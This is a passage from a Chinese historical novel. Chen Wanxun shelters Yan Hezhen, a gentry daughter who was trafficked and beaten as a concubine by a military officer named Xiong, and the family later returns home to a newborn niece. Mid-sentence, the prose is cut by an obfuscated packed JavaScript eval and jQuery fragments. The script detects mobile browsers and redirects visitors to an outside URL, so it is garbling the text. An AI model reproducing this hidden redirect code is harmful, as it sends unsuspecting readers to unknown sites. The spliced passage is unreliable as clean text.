陈老太太大概猜出是什么地方，皱了皱眉。


    陈婉紃心里明白，为颜合珍难过，怕她将茶杯捏碎，伤了自己，从她手里拿过茶盅，握了握她的手，“那是熊千户的宅子吗？”


    她问的天真，颜合珍先是一愣，继而扑哧一笑，笑得掉了泪，连连摇头。


    陈老太太也不由莞尔。


    “我被他卖了。”有了陈婉紃的打岔，颜合珍从痛苦的回忆抽离出来，省却其间受过的炼狱般的侮辱蹂躏，化作短短几句话，“后来他们怕事情败露，又将我卖到了扬州，那姓熊的就是在扬州买的我。之后姓熊的带我回到镇江，进了熊府，我才知道他府中姬妾婢女无数。姓熊的有个怪癖，对刚得手的新人，他宠爱逾甚，绫罗锦绣、金玉珠石，恨不得都捧到面前。但是少则两三个月，至多不超过半年，就立即贬为婢奴，呼来喝去，动不动就是一顿棍棒毒打。”


    颜合珍突然举起胳膊，捋下衣袖，她胳膊上，都是通红的伤痕，有的伤口还没有完全结痂，渗出血渍。


    “砰”一声，陈婉紃起身太急，衣袖一扫，不慎带翻了小几上的茶盅，“禽兽，禽兽不如。”


    颜合珍眼圈儿越来越红，“这不全是他打的。我还没被贬为婢仆，大部分是他那个继室打的。在熊家，不是明着挨熊千户的毒打，就是暗中挨他那个继室太太的打。”


    陈老太太看到颜合珍手臂上的掐痕、咬伤，眼前一阵眩晕，仿佛多年前文缇冰冷的尸身上的那些伤疤又出现在了她的面前。


    “好孩子，你别怕，你是华亭乡绅颜家的女儿，是官宦家的小姐，不是熊家什么劳什子的逃妾。反倒要问问熊家，买良为贱该当何罪！”


    颜合珍闭上眼，她哭得无声无息，只见泪水在她脸上流淌，却听不到哭声。


    陈婉紃给她擦掉眼泪，扶她去西稍间，让她能睡一会儿就睡一会儿，养养精神，天明了有一场“大仗”要与熊家打。


    颜合珍很是听话，陈婉紃让她做什么她就做什么。


    陈婉紃给她掖好被角，转身要走时，颜合珍突然拉住她，声音小的几不可闻，“从被那个恶仆卖了起，这一路上我逃过很多次，没有人救我。只有你，只有你救我。”


    颜合珍说完松了手，拉起被子蒙住了头。


    陈婉紃在被子上轻轻拍了两下，转身走出房间。


    ……


    天色一亮，陈二老爷带着侄子陈鹏，去了丹徒县衙，许师爷先迎了出来，陈家叔侄略略说了几句，许师爷快步回了后衙。


    不多时，熊千户那个身上有举人功名的叔父，带着几个得力家人，急匆匆地进了县衙。


    熊家做梦也没有想到，熊千户花了大笔银子买回来的姬妾，是被拐卖的官家小姐。


    华亭颜家要是不依不饶，天不管地不顾地拼起命来，现有陈家这个人证，天知道，熊家要惹上什么麻烦。


    颜合珍由“逃妾”变为苦主，丹徒知县让自家夫人去看了颜合珍，拿了颜合珍亲笔的手书，遣了差役，走旱路快马加鞭去华亭送信。


    镇江与华亭相距不远，不几天，华亭来人与丹徒差人一道来到镇江。


    来人是颜合珍的亲舅舅。


    颜合珍的舅舅抱着外甥女儿痛哭一阵，对陈家千恩万谢。


    “合珍没了父亲，又是独女，没有个亲兄弟，她母亲不愿让颜家的族人知道这些事。”颜合珍的舅舅说出他的打算，“我是她舅舅，虽然家里还算富足，却不是官身。民不与官斗，合珍是个女孩，早早就定下了亲事，她那未婚夫婿这两年多一直等着，也没有另娶。与熊家的事，不如悄悄和了吧。”


    陈家毕竟是外人，这种主意要他们自家拿定。


    颜合珍听了她舅舅的话，自始至终没有一句言语，不摇头，却也不肯点头。


    可她到底是个女孩儿，她又能做什么，终究由她舅舅拍了板。


    熊家再不提逃妾之事，又赔了一笔钱。


    熊家趁机与陈家也和解了，本也要给陈家一笔赔罪银，陈二老爷勃然色变，就差没直接说出口谁要你家的臭钱。熊家那个举人叔父机灵，将这一笔银子也加进了给颜合珍的赔款中。


    处置完了与熊家的事，颜合珍的舅舅心眼活，瞧得出陈家二老爷性情刚直耿介，怕送银子陈家不收，自家讨个没趣。让跟来的机灵家人，满镇江买了些既贵重又雅致的礼物，陈家只得收了几样。


    颜合珍马上就要跟着舅舅回华亭，可这几天，逃出生天的喜悦过后，颜合珍一日比一日沉默，一日比一日消瘦。


    陈婉紃为她送行时，颜合珍忽而从腰上解下一个小玉葫芦，放在陈婉紃手里，“我身上穿的戴的，都不是我自己的东西。只有这个，葫芦里是一枚私章，是以前跟着父亲在周王府时，父亲亲手为我刻的。只有这个是我的，你拿着。”


    颜合珍的舅舅心思细密，担心丹徒这里万一在身份上刁难，来的时候，让颜合珍的母亲将已逝的姐夫的私章收拾好。


    颜合珍的母亲在章匣里把颜合珍的这枚私章一起给了她的舅舅带着。


    在这个时代，私章是最权威、最有效的身份证物。


    陈婉紃握着玉葫芦，颜合珍坐的马车已缓缓行驶，她心里忽然升起不祥的预感。她小跑着向前追上马车，“合珍。”


    颜合珍撩开车帘。


    “合珍，活下去，一定要活下去。”


    马车越走越快，越行越远，许久许久，陈婉紃终于看到颜合珍重重点头。


    陈婉紃眼睛有些酸，仰头望看天空，秋日的长空有着惊人的明净。


    陈家与归德府高家的联姻，系着两族性命，谁也无法反悔。归德府高家那位世胄公子，即便行事如熊千户一般，她也得嫁。


    陈婉紃让颜合珍活下去，她自己也要活下去。


    送走了颜合珍，陈家众人归家心切，不愿再在镇江耽搁。第二日也雇好了行船，结了店钱，沿着江南运河，直奔常州。


    一路顺风顺水，只用了一日夜，就回到了阳湖宅里。


    大太太、二太太迎出来，将老太太搀进房里。


    “二丫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409801|200505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头生了吗？”


    二太太喜气盈腮，“生了，生了个小囡囡，母女平安。”


    听得母女平安，陈老太太也欢喜地念了生佛。


    一大家子分长幼尊卑见过礼，陈婉紃换上一身干净衣裳，洗了好几遍手，去看自家亲姐姐——二小姐德绢。


    因着天冷有些冷了，二太太怕女儿着了寒气，将二小姐德绢移进了东厢房做月子。


    东厢房里静悄悄的，陈婉紃停在门口挂着的大红绉绸绵帘子前，不知道二姐姐睡了没有？


    “紃儿，怎么不进来？”二小姐德绢听到了自家妹妹的脚步声，见她不进来，掀开窗子笑着问。


    “姐姐，你没睡呀。”陈婉紃这才笑着进去。


    德绢坐在软榻上，后背倚着叠得高高的锦被，身边放着一张小小的黑漆针线桌，手里在编织着一双鞋垫。


    陈婉紃见她面色红润，眼睛明亮，脸上含着笑，就放了心，笑着说：“姐姐，你还在月子里呢，仔细眼睛。”


    “你个小丫头，说话和咱娘一样。”德绢笑嗔。


    陈婉紃瞧着那鞋垫像是给二姐夫编的，不由笑了一声，德绢红了脸。


    公事在身，萧肇无法赶回来，让人捎银子，一封封的寄家书。德绢知道他心里全是她和孩子，愈发心疼独自在外的萧肇。


    姐妹俩说了一阵话，陈婉紃忍不住四处查看，德绢问她找什么。


    “我小外甥女儿呢。”


    德绢笑着说，“在母亲屋里，小囡囡吃饱喝足后睡得沉，母亲将她抱走了。”


    二太太心疼女儿，趁着小囡囡睡着，让二小姐德绢好好歇歇。


    正说着，正房那里传出一声嘹亮的婴儿啼哭声，小囡囡醒了，德绢立即下床，裹上披风，沿着走廊去了正房。


    陈婉紃紧在后面。


    德绢抱着小囡囡去了里间，喂饱了奶水，抱着孩子走回正房明间。


    老太太、三小姐淑绘也都梳洗了赶了过来，大太太没来，大奶奶却跟着过来了。片刻间，明间里热热闹闹的。


    小囡囡裹在崭新的红缎子襁褓里，吃饱了奶，粉嘟嘟白嫩嫩的脸上一双大眼，随着母亲的指点，好奇地看看这个，看看那个。


    “乖哟，叫姨姨。”


    “乖囡，长得真好看。”


    陈家第四辈头一个孩子，上至老太太，下至小舅舅陈鹤，都稀罕极了。


    大奶奶李瑞贞摸了摸自己平坦的小腹，忍不住满面羡慕，她与大爷陈鹏成亲多年，至今没有身孕。


    虽然祖母、婆母从未说过什么，但她心里的压力越来越大。


    李家亦是大族，且家里富贵。


    大奶奶不由想起，当年在上门求聘的人家里，自家母亲劝说父亲选了陈家。母女俩夜里说知心话时，她母亲说之所以定了陈家，一则是陈家儿郎容貌着实俊秀，二则陈家一向疼爱女儿，疼爱自家女儿的人家，想来不会太过苛责娶进门的媳妇。


    嫁进陈家后，大奶奶一面叹服母亲识人的眼力，一面惊叹陈家对女儿的疼爱。